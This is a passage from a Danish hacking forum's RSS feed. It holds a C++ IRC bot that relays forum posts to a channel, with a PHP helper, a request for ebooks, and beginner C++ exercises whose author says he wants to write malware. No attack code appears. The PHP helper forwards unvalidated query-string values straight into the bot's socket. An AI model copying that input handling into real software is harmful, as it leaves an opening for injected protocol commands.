#include &lt;errno.h&gt;<br />
#include &lt;arpa/inet.h&gt;  <br />
#include &lt;fcntl.h&gt;<br />
<br />
using namespace std;<br />
<br />
static const string IRC_IP = "208.64.123.83"; // IP of the IRC server, this one is irc.voxanon.net<br />
static const int IRC_PORT = 6667; // Port of the IRC server (SSL/TLS IS NOT SUPPORTED)<br />
static const string NSNAME = "NickServ"; // Name of the nickname service (Normally nickserv, but sometimes nickserv @ service.network.tld, CASE SENSITIVE)<br />
static const string NICKNAME = "Shellsec"; // Nickname of the bot<br />
static const string NICKPASS = ""; // Password for nickserv. Leave empty if nick isn't registered<br />
static const string CHANNEL = "Shellsec"; // Name of IRC channel (No hashtag)<br />
static const string INC_IP = "127.0.0.1"; // IP address for incoming connections (Messages to forward)<br />
static const int INC_PORT = 6111; // Port for incoming connections<br />
static const string INC_DELIM = ";"; // Newline character in incoming stream.<br />
<br />
bool SetSocketBlockingEnabled(int fd, bool blocking)<br />
{<br />
   if (fd &lt; 0) return false;<br />
<br />
#ifdef WIN32<br />
   unsigned long mode = blocking ? 0 : 1;<br />
   return (ioctlsocket(fd, FIONBIO, &amp;mode) == 0) ? true : false;<br />
#else<br />
  int flags = fcntl(fd, F_GETFL, 0);<br />
  if (flags &lt; 0) return false;<br />
  flags = blocking ? (flags&amp;~O_NONBLOCK) : (flags|O_NONBLOCK);<br />
  return (fcntl(fd, F_SETFL, flags) == 0) ? true : false;<br />
#endif<br />
}<br />
<br />
class IRC{<br />
    private:<br />
        // Socket File Descriptor<br />
        int sockfd, n, listfd, clientfd;<br />
        <br />
        // Stream buffers<br />
        char recvBuff[1024];<br />
        char listBuff[1024];<br />
        string sendBuff;<br />
        <br />
        // Structure for socket connection address<br />
        struct sockaddr_in irc_addr, list_addr;<br />
        <br />
    public:<br />
        void send(string message){<br />
            sendBuff = message + "\r\n";<br />
            write(sockfd, sendBuff.c_str(), strlen(sendBuff.c_str()));<br />
        }<br />
        <br />
        void open(string ip, int port){<br />
            cout &lt;&lt; "Establishing connection\n";<br />
            // Allocate memory for the receiving buffers<br />
            memset(recvBuff, '0', sizeof(recvBuff));<br />
            memset(listBuff, '0', sizeof(listBuff));<br />
            <br />
            // Create IPv4 sockets and check for errors<br />
            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0){<br />
                cout &lt;&lt; "Error: Could not create socket\n";<br />
                exit(1);<br />
            }<br />
            cout &lt;&lt; "Creating socket for listening";<br />
            if((listfd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0){<br />
                cout &lt;&lt; "Error: Could not create listening socket\n";<br />
                exit(1);<br />
            }<br />
            <br />
            // Specify connection parameters<br />
            // Convert IP address to network format<br />
            if(inet_pton(AF_INET, ip.c_str(), &amp;irc_addr.sin_addr) &lt;= 0){<br />
                cout &lt;&lt; "Error: Failed to read IP address\n";<br />
                exit(1);<br />
            }<br />
            <br />
            if(inet_pton(AF_INET, INC_IP.c_str(), &amp;list_addr.sin_addr) &lt;= 0){<br />
                cout &lt;&lt; "Error: Failed to read incoming IP address\n";<br />
                exit(1);<br />
            }<br />
            <br />
            // Specify Internet Protocol and port number<br />
            irc_addr.sin_family = AF_INET;<br />
            irc_addr.sin_port = htons(IRC_PORT);<br />
            <br />
            list_addr.sin_family = AF_INET;<br />
            list_addr.sin_port = htons(INC_PORT);<br />
            <br />
            // Attempt to establish a connection using the socket<br />
            if(connect(sockfd, (struct sockaddr *)&amp;irc_addr,sizeof(irc_addr)) &lt; 0){<br />
                cout &lt;&lt; "Error: Could not connect to server\n";<br />
                exit(1);<br />
            }<br />
            <br />
            // Attempt to bind the listening socket<br />
            cout &lt;&lt; "Binding listener";<br />
            if(bind(listfd, (struct sockaddr *)&amp;list_addr, sizeof(list_addr)) &lt; 0){<br />
                cout &lt;&lt; "Error: Failed to bind to listening IP";<br />
                exit(1);<br />
            }<br />
            <br />
            // Start the listener<br />
            cout &lt;&lt; "Starting listener";<br />
            if(listen(listfd, 3) &lt; 0){<br />
                cout &lt;&lt; "Error: Failed to start listener";<br />
                exit(1);<br />
            }<br />
        }<br />
        <br />
        void poolListener(){<br />
            struct sockaddr_in client_addr;<br />
            socklen_t clilen = sizeof client_addr;<br />
            stringstream stream;<br />
            string word;<br />
            SetSocketBlockingEnabled(listfd, false);<br />
            clientfd = accept(listfd, (struct sockaddr *)&amp;client_addr, &amp;clilen);<br />
            if(clientfd &gt; 0){<br />
                cout &lt;&lt; "Client connected, recieving message: ";<br />
                if((n = read(clientfd, listBuff, sizeof(listBuff) - 1)) &gt; 0)<br />
                    listBuff[n] = 0;<br />
                <br />
                stringstream stream(listBuff);<br />
                while( getline(stream, word, ';') ){<br />
                    cout &lt;&lt; word &lt;&lt; ";";<br />
                    send("PRIVMSG #ShellSec :" + word);<br />
                }<br />
                cout &lt;&lt; "\n";<br />
            }<br />
        }<br />
        <br />
        string monitor(){<br />
            istringstream iss;<br />
            <br />
            while(true){<br />
                poolListener();<br />
                if((n = read(sockfd, recvBuff, sizeof(recvBuff) - 1)) &gt; 0)<br />
                    recvBuff[n] = 0;<br />
                    istringstream iss(recvBuff);<br />
                <br />
                    string streampart;<br />
                    <br />
                    do{<br />
                        iss &gt;&gt; streampart;<br />
                        <br />
                        if(streampart == "Auth"){<br />
                            send("NICK " + NICKNAME);<br />
                            send("USER " + NICKNAME + " * * :" + NICKNAME);<br />
                        }<br />
                        if(streampart == "001"){<br />
                            send("JOIN #" + CHANNEL);<br />
                            if(NICKPASS != ""){<br />
                                send("PRIVMSG " + NSNAME + " : IDENTIFY " + NICKPASS);<br />
                            }<br />
                        }<br />
                        if(streampart == "PING"){<br />
                            send("PONG");<br />
                            cout &lt;&lt; "\n&gt;PONG\n";<br />
                        }<br />
                        if(streampart == "PRIVMSG"){<br />
                            iss &gt;&gt; streampart;<br />
                            if(streampart == "#ShellSec"){<br />
                                iss &gt;&gt; streampart;<br />
                                if(streampart == ":" + NICKNAME){<br />
                                    send("PRIVMSG #" + CHANNEL + " :Reporting for duty!");<br />
                                }<br />
                            }<br />
                        }<br />
                    }while(iss);<br />
                    <br />
                if(fputs(recvBuff, stdout) == EOF){<br />
                    cout &lt;&lt; "Error: Couldn't output to stdout";<br />
                }<br />
                if(n &lt; 0){<br />
                    cout &lt;&lt; "Error: Read failed";<br />
                }<br />
            }<br />
        }<br />
} conn;<br />
<br />
int main() {<br />
    // Startup message<br />
    cout &lt;&lt; "BB2IRC is starting...\n";<br />
    cout &lt;&lt; "Made by Doctor Blue\n";<br />
    sleep(3);<br />
    <br />
    conn.open(IRC_IP, IRC_PORT); // Open connection to IRC server<br />
    conn.monitor();<br />
    <br />
    exit(EXIT_SUCCESS);<br />
    return 0;<br />
}<br />
</code></pre></div></div>Hele molevitten er cross-compatible, altså det funger på Linux og Windows, og i princippet burde det også virke på Mac, men jeg har ikke testet :)<br />
<br />
Hyggehejsa, nyd mit arbejde når Morph får det op at køre :)]]></description>
			<content:encoded><![CDATA[Så er mit værk færdigt!<br />
Dette er en IRC bot, der placerer sig på vores IRC channel og holder fast i forbindelsen indtil den skal noget. Samtidig åbnes en socket, som er klar til at modtage data der skal skrives i chatten. Skide genialt, da dette kan bruges i samarbejde med en masse andre programmer, her bruger vi den så sammen med MyBB, så derfor har jeg kaldt den BB2IRC.<br />
<br />
Det den gør er simpelt, når en besked bliver oprettet på forummet, sendes en besked til bottens åbne socket (INC_IP:INC_PORT).<br />
Med PHP har jeg gjort dette med noget så simpelt som dette:<br />
<pre class="line-numbers"><code class="language-php">&lt;?php<br />
        &#36;msgtype = array("oprettet en tråd med titlen", "besvaret tråden");<br />
        &#36;title = &#36;_GET['title'];<br />
        &#36;user = &#36;_GET['user'];<br />
        &#36;link = "http://shellsec.pw/showthread.php?tid=" . &#36;_GET['tid'] . "&amp;pid=" . &#36;_GET['pid'] . "#pid" . &#36;_GET['pid'];<br />
        &#36;msg = &#36;user . " har " . &#36;msgtype[&#36;_GET['type']] . " \"" . &#36;title . "\"" . &#36;INC_DELIM . &#36;link;<br />
 <br />
        &#36;sockfd = fsockopen(&#36;INC_IP, &#36;INC_PORT, &#36;errno, &#36;errstr, 120);<br />
        if(!&#36;sockfd){<br />
                die();<br />
        }else{<br />
                fwrite(&#36;sockfd, &#36;msg);<br />
                fclose(&#36;sockfd);<br />
        }<br />
?&gt;</code></pre>
<br />
Et eksempel på en besked oprettes således ved en query til serveren med denne querystring: <br />
?user=Doctor%20Blue&amp;type=0&amp;title=[C++]%20IRC%20bot%20til%20overvågning%20af%20forum%20posts&amp;tid=207&amp;pid=<br />
&#36;INC_DELIM repræsenterer det tegn, der også sættes som konstanten INC_DELIM i botten, og er altså det tegn der indikerer en ny linje.<br />
Output vil altså være:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>Botnick: Doctor Blue har oprettet en tråd med titlen [C++] IRC bot til overvågning af forum posts<br />
Botnick: <a href="http://shellsec.pw/showthread.php?tid=207&amp;pid=#pid" target="_blank" rel="noopener" class="mycode_url">http://shellsec.pw/showthread.php?tid=207&amp;pid=#pid</a></blockquote>
<br />
og så har vi selve botten her:<br />
<div><div class="spoiler_header">botten <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;sstream&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;vector&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;errno.h&gt;<br />
#include &lt;arpa/inet.h&gt;  <br />
#include &lt;fcntl.h&gt;<br />
<br />
using namespace std;<br />
<br />
static const string IRC_IP = "208.64.123.83"; // IP of the IRC server, this one is irc.voxanon.net<br />
static const int IRC_PORT = 6667; // Port of the IRC server (SSL/TLS IS NOT SUPPORTED)<br />
static const string NSNAME = "NickServ"; // Name of the nickname service (Normally nickserv, but sometimes nickserv @ service.network.tld, CASE SENSITIVE)<br />
static const string NICKNAME = "Shellsec"; // Nickname of the bot<br />
static const string NICKPASS = ""; // Password for nickserv. Leave empty if nick isn't registered<br />
static const string CHANNEL = "Shellsec"; // Name of IRC channel (No hashtag)<br />
static const string INC_IP = "127.0.0.1"; // IP address for incoming connections (Messages to forward)<br />
static const int INC_PORT = 6111; // Port for incoming connections<br />
static const string INC_DELIM = ";"; // Newline character in incoming stream.<br />
<br />
bool SetSocketBlockingEnabled(int fd, bool blocking)<br />
{<br />
   if (fd &lt; 0) return false;<br />
<br />
#ifdef WIN32<br />
   unsigned long mode = blocking ? 0 : 1;<br />
   return (ioctlsocket(fd, FIONBIO, &amp;mode) == 0) ? true : false;<br />
#else<br />
  int flags = fcntl(fd, F_GETFL, 0);<br />
  if (flags &lt; 0) return false;<br />
  flags = blocking ? (flags&amp;~O_NONBLOCK) : (flags|O_NONBLOCK);<br />
  return (fcntl(fd, F_SETFL, flags) == 0) ? true : false;<br />
#endif<br />
}<br />
<br />
class IRC{<br />
    private:<br />
        // Socket File Descriptor<br />
        int sockfd, n, listfd, clientfd;<br />
        <br />
        // Stream buffers<br />
        char recvBuff[1024];<br />
        char listBuff[1024];<br />
        string sendBuff;<br />
        <br />
        // Structure for socket connection address<br />
        struct sockaddr_in irc_addr, list_addr;<br />
        <br />
    public:<br />
        void send(string message){<br />
            sendBuff = message + "\r\n";<br />
            write(sockfd, sendBuff.c_str(), strlen(sendBuff.c_str()));<br />
        }<br />
        <br />
        void open(string ip, int port){<br />
            cout &lt;&lt; "Establishing connection\n";<br />
            // Allocate memory for the receiving buffers<br />
            memset(recvBuff, '0', sizeof(recvBuff));<br />
            memset(listBuff, '0', sizeof(listBuff));<br />
            <br />
            // Create IPv4 sockets and check for errors<br />
            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0){<br />
                cout &lt;&lt; "Error: Could not create socket\n";<br />
                exit(1);<br />
            }<br />
            cout &lt;&lt; "Creating socket for listening";<br />
            if((listfd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0){<br />
                cout &lt;&lt; "Error: Could not create listening socket\n";<br />
                exit(1);<br />
            }<br />
            <br />
            // Specify connection parameters<br />
            // Convert IP address to network format<br />
            if(inet_pton(AF_INET, ip.c_str(), &amp;irc_addr.sin_addr) &lt;= 0){<br />
                cout &lt;&lt; "Error: Failed to read IP address\n";<br />
                exit(1);<br />
            }<br />
            <br />
            if(inet_pton(AF_INET, INC_IP.c_str(), &amp;list_addr.sin_addr) &lt;= 0){<br />
                cout &lt;&lt; "Error: Failed to read incoming IP address\n";<br />
                exit(1);<br />
            }<br />
            <br />
            // Specify Internet Protocol and port number<br />
            irc_addr.sin_family = AF_INET;<br />
            irc_addr.sin_port = htons(IRC_PORT);<br />
            <br />
            list_addr.sin_family = AF_INET;<br />
            list_addr.sin_port = htons(INC_PORT);<br />
            <br />
            // Attempt to establish a connection using the socket<br />
            if(connect(sockfd, (struct sockaddr *)&amp;irc_addr,sizeof(irc_addr)) &lt; 0){<br />
                cout &lt;&lt; "Error: Could not connect to server\n";<br />
                exit(1);<br />
            }<br />
            <br />
            // Attempt to bind the listening socket<br />
            cout &lt;&lt; "Binding listener";<br />
            if(bind(listfd, (struct sockaddr *)&amp;list_addr, sizeof(list_addr)) &lt; 0){<br />
                cout &lt;&lt; "Error: Failed to bind to listening IP";<br />
                exit(1);<br />
            }<br />
            <br />
            // Start the listener<br />
            cout &lt;&lt; "Starting listener";<br />
            if(listen(listfd, 3) &lt; 0){<br />
                cout &lt;&lt; "Error: Failed to start listener";<br />
                exit(1);<br />
            }<br />
        }<br />
        <br />
        void poolListener(){<br />
            struct sockaddr_in client_addr;<br />
            socklen_t clilen = sizeof client_addr;<br />
            stringstream stream;<br />
            string word;<br />
            SetSocketBlockingEnabled(listfd, false);<br />
            clientfd = accept(listfd, (struct sockaddr *)&amp;client_addr, &amp;clilen);<br />
            if(clientfd &gt; 0){<br />
                cout &lt;&lt; "Client connected, recieving message: ";<br />
                if((n = read(clientfd, listBuff, sizeof(listBuff) - 1)) &gt; 0)<br />
                    listBuff[n] = 0;<br />
                <br />
                stringstream stream(listBuff);<br />
                while( getline(stream, word, ';') ){<br />
                    cout &lt;&lt; word &lt;&lt; ";";<br />
                    send("PRIVMSG #ShellSec :" + word);<br />
                }<br />
                cout &lt;&lt; "\n";<br />
            }<br />
        }<br />
        <br />
        string monitor(){<br />
            istringstream iss;<br />
            <br />
            while(true){<br />
                poolListener();<br />
                if((n = read(sockfd, recvBuff, sizeof(recvBuff) - 1)) &gt; 0)<br />
                    recvBuff[n] = 0;<br />
                    istringstream iss(recvBuff);<br />
                <br />
                    string streampart;<br />
                    <br />
                    do{<br />
                        iss &gt;&gt; streampart;<br />
                        <br />
                        if(streampart == "Auth"){<br />
                            send("NICK " + NICKNAME);<br />
                            send("USER " + NICKNAME + " * * :" + NICKNAME);<br />
                        }<br />
                        if(streampart == "001"){<br />
                            send("JOIN #" + CHANNEL);<br />
                            if(NICKPASS != ""){<br />
                                send("PRIVMSG " + NSNAME + " : IDENTIFY " + NICKPASS);<br />
                            }<br />
                        }<br />
                        if(streampart == "PING"){<br />
                            send("PONG");<br />
                            cout &lt;&lt; "\n&gt;PONG\n";<br />
                        }<br />
                        if(streampart == "PRIVMSG"){<br />
                            iss &gt;&gt; streampart;<br />
                            if(streampart == "#ShellSec"){<br />
                                iss &gt;&gt; streampart;<br />
                                if(streampart == ":" + NICKNAME){<br />
                                    send("PRIVMSG #" + CHANNEL + " :Reporting for duty!");<br />
                                }<br />
                            }<br />
                        }<br />
                    }while(iss);<br />
                    <br />
                if(fputs(recvBuff, stdout) == EOF){<br />
                    cout &lt;&lt; "Error: Couldn't output to stdout";<br />
                }<br />
                if(n &lt; 0){<br />
                    cout &lt;&lt; "Error: Read failed";<br />
                }<br />
            }<br />
        }<br />
} conn;<br />
<br />
int main() {<br />
    // Startup message<br />
    cout &lt;&lt; "BB2IRC is starting...\n";<br />
    cout &lt;&lt; "Made by Doctor Blue\n";<br />
    sleep(3);<br />
    <br />
    conn.open(IRC_IP, IRC_PORT); // Open connection to IRC server<br />
    conn.monitor();<br />
    <br />
    exit(EXIT_SUCCESS);<br />
    return 0;<br />
}<br />
</code></pre></div></div>Hele molevitten er cross-compatible, altså det funger på Linux og Windows, og i princippet burde det også virke på Mac, men jeg har ikke testet :)<br />
<br />
Hyggehejsa, nyd mit arbejde når Morph får det op at køre :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C++] eBooks Wanted!]]></title>
			<link>https://www.shellsec.pw/traad-c-ebooks-wanted</link>
			<pubDate>Sun, 07 Apr 2013 20:09:03 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-c-ebooks-wanted</guid>
			<description><![CDATA[Har efterhånden ledt internettet igennem for en tilfredstillende ebook (eltronisk bog) hvor jeg kan lære basics og det lidt mere advanceret skrevet på 300-400 ord. <br />
<br />
Hvis nogen af jer "der ude" sidder med nogle ebooks som i vil dele med mig, enten i den her tråd eller over pm.<br />
<br />
Vici Fides]]></description>
			<content:encoded><![CDATA[Har efterhånden ledt internettet igennem for en tilfredstillende ebook (eltronisk bog) hvor jeg kan lære basics og det lidt mere advanceret skrevet på 300-400 ord. <br />
<br />
Hvis nogen af jer "der ude" sidder med nogle ebooks som i vil dele med mig, enten i den her tråd eller over pm.<br />
<br />
Vici Fides]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C++] Begynder opgaver]]></title>
			<link>https://www.shellsec.pw/traad-c-begynder-opgaver</link>
			<pubDate>Tue, 02 Apr 2013 19:39:31 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-c-begynder-opgaver</guid>
			<description><![CDATA[I sidste uge startede jeg på C++ og jeg er ved at have styr på syntax og funktioner. Jeg har et mål om at skrive malware i C++ inden sommerferien er omme.<br />
<br />
Jeg er faldet over en side med begynder opgaver til C++, hvor jeg tænkte at det kunne være meget sjovt at se jeres input til disse. Jeg har tænkt mig skamløst at kopiere (og oversætte) opgaveformuleringen fra siden, så alt credit til <a href="http://www.cplusplus.com/forum/articles/12974/" target="_blank" rel="noopener" class="mycode_url">http://www.cplusplus.com/forum/articles/12974/</a>. <br />
<br />
Bemærk at jeg skriver i C++ 4.3.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1: Simpelt while-loop</span><br />
Skriv et program hvor computeren bliver ved med at spørge efter et givent tal, og først stopper når brugeren har indtastet det. Hvis brugeren så taster det givne tal kommer computeren med meddelsen "Du måtte ikke skrive X". Efter programmet har kørt 10 gange uden at brugeren har tastet X ind skal meddelsen "Du vandt" komme op. Twist: Lav det, så X er det antal gange programmet har kørt, altså 1. gang det kører er tallet 0, 2. gang 1 osv.<br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
<br />
using namespace std;<br />
<br />
int main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int run = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Skriv et hvilket som helst nummer andet end " &lt;&lt; run &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; number;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while(run&lt;10){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(number!=run){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;run++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Skriv et hvilket som helst nummer andet end " &lt;&lt; run &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; number;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(number==run){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Du måtte ikke skrive " &lt;&lt; run;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;else{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Du vandt.";}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div></div></div>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Gæt computerens tal</span><br />
Overskriften siger det meste: Computeren tænker på et tilfældigt generet tal mellem 1 og 100, og du skal gætte det. Hver gang du gætter på et tal fortæller computeren dig om dit gæt er højere eller lavere i forhold til det rigtige tal. <br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
#include &lt;stdlib.h&gt; // For at få srand med.<br />
#include &lt;time.h&gt; // For at få time med som seed til srand<br />
<br />
using namespace std;<br />
void gaetcom();<br />
<br />
int main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;gaetcom();<br />
}<br />
<br />
void gaetcom()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;srand(time(0));<br />
&nbsp;&nbsp;&nbsp;&nbsp;int g = rand() % 100; int guess; int runs = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Gæt et tal mellem 1 og 100: ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; guess;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while(guess!=g){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(guess&gt;g){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Tallet er lavere&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; guess;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(guess&lt;g) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Tallet er højere&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; guess;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runs++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Du gættede tallet på " &lt;&lt; runs &lt;&lt; " forsøg!";<br />
}</code></div></div></div></div>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. Lad computeren gætte dit tal</span><br />
Det her er så den omvendte version af det foregående program. Her skal computeren så gætte dit tal mellem 1 og 100 ved at du fortæller den om dit tal er højere eller lavere end dens gæt. Twist: Computeren må maks bruge 7 forsøg på at gætte dit tal.<br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
#include &lt;string&gt;<br />
<br />
using namespace std;<br />
void comgaet();<br />
<br />
int main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;comgaet();<br />
}<br />
<br />
void comgaet()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Lad computeren gætte dit tal mellem 1 og 100 ved at sige højere eller lavere!" &lt;&lt; endl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int forskel = 50; string jhl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int tal = 50; // Computerens gæt starter altid på 50.<br />
&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Er dit tal " &lt;&lt; tal &lt;&lt; "? (Ja=j,Højere=h,Lavere=l) ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; jhl;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;while(jhl!="j"){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Jeg dividere forskellen med 2 hver gang, for at indsvævre resultatet effektivt.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Når programmet når ned på 1, skal det stoppe med at halvere tallet.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(forskel!=1){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;forskel = forskel/2;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Hvis tallet er højere skal vi bare plusse forskellen på det gættede tal.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(jhl=="h")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tal = tal + forskel;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Hvis tallet er højere skal vi bare minusse forskellen på det gættede tal.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(jhl=="l")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tal = tal - forskel;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout &lt;&lt; "Er dit tal " &lt;&lt; tal &lt;&lt; "? (Ja=j,Højere=h,Lavere=l) ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cin &gt;&gt; jhl;}<br />
}</code></div></div></div></div>
<br />
<span style="font-weight: bold;" class="mycode_b">4: Kryds og bolle</span><br />
2-players kryds og bolle spil<br />
<br />
<img src="http://puu.sh/2ur5n" alt="[Billede: 2ur5n]" class="mycode_img" /><br />
<br />
<div><div class="spoiler_header">Min løsning til opgaven <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#include &lt;iostream&gt;<br />
#include &lt;cstdlib&gt;<br />
#include &lt;conio.h&gt;<br />
<br />
using namespace std;<br />
<br />
void braet();<br />
int tjekvinder(); // tjekkiske kvinder eller tjek vinder?<br />
char felt[10] = {'o','1','2','3','4','5','6','7','8','9'};<br />
<br />
int main()<br />
{<br />
